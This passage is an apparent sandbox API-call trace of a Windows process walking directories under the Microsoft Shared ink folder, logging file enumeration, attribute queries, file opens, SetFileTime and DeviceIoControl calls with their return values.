lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x990ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x990ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.255] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x990ba0) returned 1 [0143.255] NtClose (Handle=0x198) returned 0x0 [0143.256] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.256] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.256] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.256] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.256] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.256] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e4f0 [0143.257] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9904c8 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.257] GetLastError () returned 0x12 [0143.257] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.257] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.257] GetLastError () returned 0x12 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.257] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.257] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0143.258] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.259] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.259] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x990ba0 [0143.259] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x990ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x990ba0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.259] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x990ba0) returned 1 [0143.259] NtClose (Handle=0x19c) returned 0x0 [0143.259] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.259] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.259] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.259] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.259] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.259] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9905d0 [0143.259] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.262] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.263] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.263] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9906d8 [0143.263] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e510 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x990bb8 [0143.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x300) returned 0x9839e0 [0143.263] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9908d8) returned 1 [0143.263] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0143.264] GetLastError () returned 0x12 [0143.264] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.264] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0143.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.266] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.266] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x992ba0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x992ba0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.267] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ba0) returned 1 [0143.267] NtClose (Handle=0x19c) returned 0x0 [0143.267] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.267] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.267] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.267] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.267] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.267] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.267] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.267] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.268] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, 